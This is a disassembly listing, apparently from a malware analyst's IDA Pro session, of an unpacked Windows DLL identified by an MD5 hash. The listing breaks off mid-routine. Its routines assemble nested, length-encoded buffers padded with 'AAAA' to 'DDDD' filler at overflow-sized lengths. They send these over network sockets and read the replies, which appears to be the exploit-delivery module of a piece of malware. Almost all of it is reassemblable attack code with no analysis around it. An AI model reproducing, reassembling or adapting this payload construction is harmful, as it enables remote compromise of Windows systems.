;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : F20928667AFB530FDD8372B277049897
; File Name : u:\work\f20928667afb530fdd8372b277049897_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 10000000
; Section 1. (virtual address 00001000)
; Virtual size : 0000AC7C ( 44156.)
; Section size in file : 0000B000 ( 45056.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: DLL 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 10001000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10001000 proc near ; CODE XREF: sub_10001433+Fp
; sub_10001433+49p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_10001000 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp-0Ch], ecx
mov eax, [ebp+8]
push eax
call strlen ; strlen
add esp, 4
push eax
mov ecx, [ebp+8]
push ecx
lea ecx, [ebp-8]
call sub_10001059
mov edx, [eax]
mov eax, [eax+4]
mov ecx, [ebp-0Ch]
mov [ecx], edx
mov [ecx+4], eax
mov eax, [ebp-0Ch]
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_10001059(void *Src,size_t Size)
sub_10001059 proc near ; CODE XREF: .text:1000103Ep
; sub_10001433+147p
var_8 = dword ptr -8
Dst = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+Size]
push eax ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jnz short loc_1000107A
jmp short loc_100010B1
; ---------------------------------------------------------------------------
loc_1000107A: ; CODE XREF: sub_10001059+1Dj
mov ecx, [ebp+Size]
push ecx ; Size
push 0 ; Val
mov edx, [ebp+Dst]
push edx ; Dst
call memset ; memset
add esp, 0Ch
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+Src]
push ecx ; Src
mov edx, [ebp+Dst]
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov eax, [ebp+var_8]
mov ecx, [ebp+Size]
mov [eax+4], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+Dst]
mov [edx], eax
loc_100010B1: ; CODE XREF: sub_10001059+1Fj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 8
sub_10001059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100010BA(void *Src,size_t Size,int,int)
sub_100010BA proc near ; CODE XREF: sub_1000127E+20p
; sub_10001324+21p ...
var_8 = dword ptr -8
Dst = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+Size]
add eax, [ebp+arg_C]
push eax ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jnz short loc_100010DE
jmp short loc_10001132
; ---------------------------------------------------------------------------
loc_100010DE: ; CODE XREF: sub_100010BA+20j
mov ecx, [ebp+Size]
add ecx, [ebp+arg_C]
push ecx ; Size
push 0 ; Val
mov edx, [ebp+Dst]
push edx ; Dst
call memset ; memset
add esp, 0Ch
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+Src]
push ecx ; Src
mov edx, [ebp+Dst]
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_C]
push eax ; Size
mov ecx, [ebp+arg_8]
push ecx ; Src
mov edx, [ebp+Dst]
add edx, [ebp+Size]
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov eax, [ebp+Size]
add eax, [ebp+arg_C]
mov ecx, [ebp+var_8]
mov [ecx+4], eax
mov edx, [ebp+var_8]
mov eax, [ebp+Dst]
mov [edx], eax
loc_10001132: ; CODE XREF: sub_100010BA+22j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 10h
sub_100010BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000113B proc near ; CODE XREF: sub_1000127E+7Fp
; sub_1000127E+9Bp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_10001159
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx ; Memory
call ds:free ; free
add esp, 4
loc_10001159: ; CODE XREF: sub_1000113B+Dj
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov esp, ebp
pop ebp
retn
sub_1000113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10001170 proc near ; CODE XREF: sub_1000127E+28p
; sub_100013AB+Cp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
Dst = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cmp dword ptr [eax+4], 0FFFFh
jl short loc_1000118C
xor al, al
jmp loc_1000127A
; ---------------------------------------------------------------------------
loc_1000118C: ; CODE XREF: sub_10001170+13j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 7Fh
jge short loc_1000119E
mov [ebp+var_8], 1
jmp short loc_100011A5
; ---------------------------------------------------------------------------
loc_1000119E: ; CODE XREF: sub_10001170+23j
mov [ebp+var_8], 3
loc_100011A5: ; CODE XREF: sub_10001170+2Cj
mov edx, [ebp+var_C]
mov eax, [edx+4]
add eax, [ebp+var_8]
push eax ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jnz short loc_100011C8
xor al, al
jmp loc_1000127A
; ---------------------------------------------------------------------------
loc_100011C8: ; CODE XREF: sub_10001170+4Fj
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
add edx, [ebp+var_8]
push edx ; Size
push 0 ; Val
mov eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
cmp [ebp+var_8], 1
jnz short loc_1000120F
mov ecx, [ebp+Dst]
mov edx, [ebp+var_C]
mov al, [edx+4]
mov [ecx], al
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
push edx ; Size
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx ; Src
mov edx, [ebp+Dst]
add edx, 1
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
jmp short loc_10001252
; ---------------------------------------------------------------------------
loc_1000120F: ; CODE XREF: sub_10001170+74j
mov eax, [ebp+Dst]
mov byte ptr [eax], 82h
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
sar edx, 8
mov eax, [ebp+Dst]
mov [eax+1], dl
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
and edx, 0FFh
mov eax, [ebp+Dst]
mov [eax+2], dl
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
push edx ; Size
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx ; Src
mov edx, [ebp+Dst]
add edx, 3
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
loc_10001252: ; CODE XREF: sub_10001170+9Dj
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx ; Memory
call ds:free ; free
add esp, 4
mov edx, [ebp+var_C]
mov eax, [ebp+var_8]
add eax, [edx+4]
mov ecx, [ebp+var_C]
mov [ecx+4], eax
mov edx, [ebp+var_C]
mov eax, [ebp+Dst]
mov [edx], eax
mov al, 1
loc_1000127A: ; CODE XREF: sub_10001170+17j
; sub_10001170+53j
mov esp, ebp
pop ebp
retn
sub_10001170 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000127E proc near ; CODE XREF: sub_10001433+A5p
; sub_10001433+102p ...
var_10 = dword ptr -10h
Src = dword ptr -0Ch
Size = dword ptr -8
Dst = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov ecx, [eax+4]
push ecx ; int
mov edx, [ebp+var_10]
mov eax, [edx]
push eax ; int
push 1 ; Size
push offset dword_10012A50 ; Src
lea ecx, [ebp+Src]
call sub_100010BA
lea ecx, [ebp+Src]
call sub_10001170
mov ecx, [ebp+Size]
add ecx, 1
push ecx ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Dst], eax
cmp [ebp+Dst], 0
jnz short loc_100012C8
xor al, al
jmp short loc_10001320
; ---------------------------------------------------------------------------
loc_100012C8: ; CODE XREF: sub_1000127E+44j
mov edx, [ebp+Size]
add edx, 1
push edx ; Size
push 0 ; Val
mov eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov ecx, [ebp+Dst]
mov byte ptr [ecx], 3
mov edx, [ebp+Size]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+Dst]
add ecx, 1
push ecx ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov ecx, [ebp+var_10]
call sub_1000113B
mov edx, [ebp+Size]
add edx, 1
mov eax, [ebp+var_10]
mov [eax+4], edx
mov ecx, [ebp+var_10]
mov edx, [ebp+Dst]
mov [ecx], edx
lea ecx, [ebp+Src]
call sub_1000113B
mov al, 1
loc_10001320: ; CODE XREF: sub_1000127E+48j
mov esp, ebp
pop ebp
retn
sub_1000127E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10001324 proc near ; CODE XREF: sub_10001368+1Bp
; sub_1000138E+12p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+arg_4]
push eax ; int
mov ecx, [ebp+arg_0]
push ecx ; int
mov edx, [ebp+var_C]
mov eax, [edx+4]
push eax ; Size
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx ; Src
lea ecx, [ebp+var_8]
call sub_100010BA
mov ecx, [ebp+var_C]
call sub_1000113B
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov edx, [ebp+var_4]
mov [eax+4], edx
mov al, 1
mov esp, ebp
pop ebp
retn 8
sub_10001324 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_10001368(char *Str)
sub_10001368 proc near ; CODE XREF: sub_10001433+112p
; sub_10001433+18Dp ...
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+Str]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax
mov ecx, [ebp+Str]
push ecx
mov ecx, [ebp+var_4]
call sub_10001324
mov esp, ebp
pop ebp
retn 4
sub_10001368 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000138E proc near ; CODE XREF: sub_10001401+12p
; sub_10001433+1DCp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_4]
call sub_10001324
mov esp, ebp
pop ebp
retn 8
sub_1000138E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100013AB proc near ; CODE XREF: sub_10001401+27p
; sub_10001433+ADp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
call sub_10001170
and eax, 0FFh
test eax, eax
jnz short loc_100013C9
xor al, al
jmp short loc_100013FD
; ---------------------------------------------------------------------------
loc_100013C9: ; CODE XREF: sub_100013AB+18j
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx ; int
mov edx, [ebp+var_C]
mov eax, [edx]
push eax ; int
push 1 ; Size
push offset dword_1000E3EC ; Src
lea ecx, [ebp+var_8]
call sub_100010BA
mov ecx, [ebp+var_C]
call sub_1000113B
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov [ecx], edx
mov eax, [ebp+var_4]
mov [ecx+4], eax
mov al, 1
loc_100013FD: ; CODE XREF: sub_100013AB+1Cj
mov esp, ebp
pop ebp
retn
sub_100013AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10001401 proc near ; CODE XREF: sub_10001433+162p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_4]
call sub_1000138E
and eax, 0FFh
test eax, eax
jnz short loc_10001425
xor al, al
jmp short loc_1000142D
; ---------------------------------------------------------------------------
loc_10001425: ; CODE XREF: sub_10001401+1Ej
mov ecx, [ebp+var_4]
call sub_100013AB
loc_1000142D: ; CODE XREF: sub_10001401+22j
mov esp, ebp
pop ebp
retn 8
sub_10001401 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10001433 proc near ; CODE XREF: sub_10001EBF+EAp
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
Dst = byte ptr -840h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
lea ecx, [ebp+var_848]
call sub_10001000
cmp [ebp+arg_8], 408h
jg short loc_1000145D
mov eax, [ebp+arg_10]
add eax, 8
cmp eax, 408h
jbe short loc_10001479
loc_1000145D: ; CODE XREF: sub_10001433+1Bj
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_848]
mov [ecx], edx
mov eax, [ebp+var_844]
mov [ecx+4], eax
mov eax, [ebp+arg_0]
jmp loc_10001807
; ---------------------------------------------------------------------------
loc_10001479: ; CODE XREF: sub_10001433+28j
lea ecx, [ebp+var_10]
call sub_10001000
lea ecx, [ebp+var_28]
call sub_10001000
lea ecx, [ebp+var_858]
call sub_10001000
lea ecx, [ebp+var_40]
call sub_10001000
lea ecx, [ebp+var_38]
call sub_10001000
lea ecx, [ebp+var_18]
call sub_10001000
lea ecx, [ebp+var_850]
call sub_10001000
push 4
push offset dword_1000E08C
lea ecx, [ebp+var_10]
call sub_10001324
push 3
push offset dword_1000E094
lea ecx, [ebp+var_10]
call sub_10001324
lea ecx, [ebp+var_10]
call sub_1000127E
lea ecx, [ebp+var_10]
call sub_100013AB
push 800h ; Size
push 42h ; Val
lea ecx, [ebp+Dst]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
push 8
push offset aRbrbrbrb ; "BBBB"
lea ecx, [ebp+var_28]
call sub_10001324
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
lea ecx, [ebp+var_28]
call sub_10001324
mov ecx, 409h
sub ecx, [ebp+var_24]
push ecx
lea edx, [ebp+Dst]
push edx
lea ecx, [ebp+var_28]
call sub_10001324
lea ecx, [ebp+var_28]
call sub_1000127E
push offset dword_1000E3F0 ; Str
lea ecx, [ebp+var_858]
call sub_10001368
lea ecx, [ebp+var_858]
call sub_1000127E
push 800h ; Size
push 44h ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
push 410h ; Size
lea ecx, [ebp+Dst]
push ecx ; Src
lea ecx, [ebp+var_20]
call sub_10001059
lea ecx, [ebp+var_20]
call sub_1000127E
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_858]
call sub_10001401
lea ecx, [ebp+var_20]
call sub_1000113B
push 800h ; Size
push 43h ; Val
lea ecx, [ebp+Dst]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_40]
call sub_10001368
push 4
push offset dword_1000E098
lea ecx, [ebp+var_40]
call sub_10001324
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_40]
call sub_10001324
mov ecx, 408h
sub ecx, [ebp+arg_8]
push ecx
lea edx, [ebp+Dst]
push edx
lea ecx, [ebp+var_40]
call sub_10001324
lea ecx, [ebp+var_40]
call sub_1000127E
mov eax, [ebp+var_3C]
push eax
mov ecx, [ebp+var_40]
push ecx
lea ecx, [ebp+var_38]
call sub_1000138E
mov edx, [ebp+var_854]
push edx
mov eax, [ebp+var_858]
push eax
lea ecx, [ebp+var_38]
call sub_1000138E
lea ecx, [ebp+var_38]
call sub_100013AB
lea ecx, [ebp+var_40]
call sub_1000113B
lea ecx, [ebp+var_858]
call sub_1000113B
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_28]
push edx
lea ecx, [ebp+var_18]
call sub_1000138E
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_18]
call sub_1000138E
mov edx, [ebp+var_34]
push edx
mov eax, [ebp+var_38]
push eax
lea ecx, [ebp+var_18]
call sub_1000138E
lea ecx, [ebp+var_18]
call sub_100013AB
lea ecx, [ebp+var_28]
call sub_1000113B
lea ecx, [ebp+var_10]
call sub_1000113B
lea ecx, [ebp+var_38]
call sub_1000113B
push 800h ; Size
push 41h ; Val
lea ecx, [ebp+Dst]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
push 400h
lea edx, [ebp+Dst]
push edx
lea ecx, [ebp+var_850]
call sub_10001324
lea ecx, [ebp+var_850]
call sub_1000127E
push 2
push offset dword_1000E404
lea ecx, [ebp+var_850]
call sub_10001324
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_18]
push ecx
lea ecx, [ebp+var_850]
call sub_1000138E
lea ecx, [ebp+var_850]
call sub_100013AB
lea ecx, [ebp+var_18]
call sub_1000113B
lea ecx, [ebp+var_8]
call sub_10001000
lea ecx, [ebp+var_30]
call sub_10001000
mov edx, [ebp+var_84C]
push edx
mov eax, [ebp+var_850]
push eax
lea ecx, [ebp+var_8]
call sub_1000138E
lea ecx, [ebp+var_8]
call sub_10001170
lea ecx, [ebp+var_850]
call sub_1000113B
push offset dword_1000E408 ; Str
lea ecx, [ebp+var_30]
call sub_10001368
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
lea ecx, [ebp+var_30]
call sub_1000138E
lea ecx, [ebp+var_30]
call sub_10001170
lea ecx, [ebp+var_8]
call sub_1000113B
push offset dword_1000E40C ; Str
lea ecx, [ebp+var_8]
call sub_10001368
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_30]
push ecx
lea ecx, [ebp+var_8]
call sub_1000138E
lea ecx, [ebp+var_8]
call sub_10001170
lea ecx, [ebp+var_30]
call sub_1000113B
push offset dword_1000E410 ; Str
lea ecx, [ebp+var_30]
call sub_10001368
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_30]
call sub_1000138E
lea ecx, [ebp+var_30]
call sub_10001170
lea ecx, [ebp+var_8]
call sub_1000113B
push offset dword_1000E41C ; Str
lea ecx, [ebp+var_848]
call sub_10001368
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_30]
push edx
lea ecx, [ebp+var_848]
call sub_1000138E
lea ecx, [ebp+var_30]
call sub_1000113B
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_848]
mov [eax], ecx
mov edx, [ebp+var_844]
mov [eax+4], edx
mov eax, [ebp+arg_0]
loc_10001807: ; CODE XREF: sub_10001433+41j
mov esp, ebp
pop ebp
retn
sub_10001433 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_1000180B(SOCKET s,char *buf,int len,int flags)
sub_1000180B proc near ; CODE XREF: sub_100019DF+18Dp
; sub_100019DF+1DEp ...
var_218 = dword ptr -218h
var_214 = dword ptr -214h
timeout = timeval ptr -210h
readfds = fd_set ptr -208h
exceptfds = fd_set ptr -104h
s = dword ptr 8
buf = dword ptr 0Ch
len = dword ptr 10h
flags = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
mov [ebp+readfds.fd_count], 0
mov [ebp+exceptfds.fd_count], 0
loc_10001828: ; CODE XREF: sub_1000180B+96j
mov [ebp+var_214], 0
jmp short loc_10001843
; ---------------------------------------------------------------------------
loc_10001834: ; CODE XREF: sub_1000180B:loc_10001865j
mov eax, [ebp+var_214]
add eax, 1
mov [ebp+var_214], eax
loc_10001843: ; CODE XREF: sub_1000180B+27j
mov ecx, [ebp+var_214]
cmp ecx, [ebp+readfds.fd_count]
jnb short loc_10001867
mov edx, [ebp+var_214]
mov eax, [ebp+edx*4+readfds.fd_array]
cmp eax, [ebp+s]
jnz short loc_10001865
jmp short loc_10001867
; ---------------------------------------------------------------------------
loc_10001865: ; CODE XREF: sub_1000180B+56j
jmp short loc_10001834
; ---------------------------------------------------------------------------
loc_10001867: ; CODE XREF: sub_1000180B+44j
; sub_1000180B+58j
mov ecx, [ebp+var_214]
cmp ecx, [ebp+readfds.fd_count]
jnz short loc_1000189D
cmp [ebp+readfds.fd_count], 40h
jnb short loc_1000189D
mov edx, [ebp+var_214]
mov eax, [ebp+s]
mov [ebp+edx*4+readfds.fd_array], eax
mov ecx, [ebp+readfds.fd_count]
add ecx, 1
mov [ebp+readfds.fd_count], ecx
loc_1000189D: ; CODE XREF: sub_1000180B+68j
; sub_1000180B+71j
xor edx, edx
test edx, edx
jnz short loc_10001828
loc_100018A3: ; CODE XREF: sub_1000180B+111j
mov [ebp+var_218], 0
jmp short loc_100018BE
; ---------------------------------------------------------------------------
loc_100018AF: ; CODE XREF: sub_1000180B:loc_100018E0j
mov eax, [ebp+var_218]
add eax, 1
mov [ebp+var_218], eax
loc_100018BE: ; CODE XREF: sub_1000180B+A2j
mov ecx, [ebp+var_218]
cmp ecx, [ebp+exceptfds.fd_count]
jnb short loc_100018E2
mov edx, [ebp+var_218]
mov eax, [ebp+edx*4+exceptfds.fd_array]
cmp eax, [ebp+s]
jnz short loc_100018E0
jmp short loc_100018E2
; ---------------------------------------------------------------------------
loc_100018E0: ; CODE XREF: sub_1000180B+D1j
jmp short loc_100018AF
; ---------------------------------------------------------------------------
loc_100018E2: ; CODE XREF: sub_1000180B+BFj
; sub_1000180B+D3j
mov ecx, [ebp+var_218]
cmp ecx, [ebp+exceptfds.fd_count]
jnz short loc_10001918
cmp [ebp+exceptfds.fd_count], 40h
jnb short loc_10001918
mov edx, [ebp+var_218]
mov eax, [ebp+s]
mov [ebp+edx*4+exceptfds.fd_array], eax
mov ecx, [ebp+exceptfds.fd_count]
add ecx, 1
mov [ebp+exceptfds.fd_count], ecx
loc_10001918: ; CODE XREF: sub_1000180B+E3j
; sub_1000180B+ECj
xor edx, edx
test edx, edx
jnz short loc_100018A3
mov [ebp+timeout.tv_sec], 0Ah
mov [ebp+timeout.tv_usec], 0
lea eax, [ebp+timeout]
push eax ; timeout
lea ecx, [ebp+exceptfds]
push ecx ; exceptfds
push 0 ; writefds
lea edx, [ebp+readfds]
push edx ; readfds
mov eax, [ebp+s]
add eax, 1
push eax ; nfds
call ds:select ; select
cmp eax, 1
jz short loc_1000195F
xor eax, eax
jmp short loc_1000198D
; ---------------------------------------------------------------------------
loc_1000195F: ; CODE XREF: sub_1000180B+14Ej
lea ecx, [ebp+readfds]
push ecx ; fd_set *
mov edx, [ebp+s]
push edx ; fd
call __WSAFDIsSet ; __WSAFDIsSet
test eax, eax
jnz short loc_10001977
xor eax, eax
jmp short loc_1000198D
; ---------------------------------------------------------------------------
loc_10001977: ; CODE XREF: sub_1000180B+166j
mov eax, [ebp+flags]
push eax ; flags
mov ecx, [ebp+len]
push ecx ; len
mov edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:recv ; recv
loc_1000198D: ; CODE XREF: sub_1000180B+152j
; sub_1000180B+16Aj
mov esp, ebp
pop ebp
retn
sub_1000180B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10001991(SOCKET s,int,u_long len)
sub_10001991 proc near ; CODE XREF: sub_100019DF+156p
; sub_100019DF+1A7p
buf = byte ptr -4
s = dword ptr 8
arg_4 = dword ptr 0Ch
len = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+len]
push eax ; hostlong
call ds:htonl ; htonl
mov dword ptr [ebp+buf], eax
push 0 ; flags
push 4 ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:send ; send
cmp eax, 4
jz short loc_100019BD
xor al, al
jmp short loc_100019DB
; ---------------------------------------------------------------------------
loc_100019BD: ; CODE XREF: sub_10001991+26j
push 0 ; flags
mov eax, [ebp+len]
push eax ; len
mov ecx, [ebp+arg_4]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:send ; send
xor ecx, ecx
cmp eax, [ebp+len]
setz cl
mov al, cl
loc_100019DB: ; CODE XREF: sub_10001991+2Aj
mov esp, ebp
pop ebp
retn
sub_10001991 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_100019DF(SOCKET s,void *Src,int)
sub_100019DF proc near ; CODE XREF: sub_10001BDB+5Ep
Memory = dword ptr -10Ch
len = dword ptr -108h
var_104 = dword ptr -104h
buf = byte ptr -100h
s = dword ptr 8
Src = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
mov eax, [ebp+arg_8]
add eax, 41h
mov [ebp+len], eax
mov ecx, [ebp+len]
push ecx ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Memory], eax
cmp [ebp+Memory], 0
jnz short loc_10001A1A
xor al, al
jmp loc_10001BD7
; ---------------------------------------------------------------------------
loc_10001A1A: ; CODE XREF: sub_100019DF+32j
mov edx, [ebp+len]
push edx ; Size
push 0 ; Val
mov eax, [ebp+Memory]
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov [ebp+var_104], 0
push 2Fh ; Size
push offset dword_1000E128 ; Src
mov ecx, [ebp+Memory]
push ecx ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov edx, [ebp+var_104]
add edx, 2Fh
mov [ebp+var_104], edx
mov eax, [ebp+Memory]
add eax, [ebp+var_104]
mov cx, word ptr [ebp+arg_8]
mov [eax], cx
mov edx, [ebp+var_104]
add edx, 2
mov [ebp+var_104], edx
push 8 ; Size
push offset dword_1000E158 ; Src
mov eax, [ebp+Memory]
add eax, [ebp+var_104]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov ecx, [ebp+var_104]
add ecx, 8
mov [ebp+var_104], ecx
mov edx, [ebp+Memory]
add edx, [ebp+var_104]
mov ax, word ptr [ebp+arg_8]
mov [edx], ax
mov ecx, [ebp+var_104]
add ecx, 2
mov [ebp+var_104], ecx
mov edx, [ebp+arg_8]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+Memory]
add ecx, [ebp+var_104]
push ecx ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov edx, [ebp+var_104]
add edx, [ebp+arg_8]
mov [ebp+var_104], edx
push 6 ; Size
push offset dword_10012A48 ; Src
mov eax, [ebp+Memory]
add eax, [ebp+var_104]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov ecx, [ebp+var_104]
add ecx, 6
mov [ebp+var_104], ecx
push 85h ; len
push offset dword_1000E0A0 ; int
mov edx, [ebp+s]
push edx ; s
call sub_10001991
add esp, 0Ch
and eax, 0FFh
test eax, eax
jnz short loc_10001B5A
mov eax, [ebp+Memory]
push eax ; Memory
call ds:free ; free
add esp, 4
xor al, al
jmp short loc_10001BD7
; ---------------------------------------------------------------------------
loc_10001B5A: ; CODE XREF: sub_100019DF+165j
push 0 ; flags
push 100h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
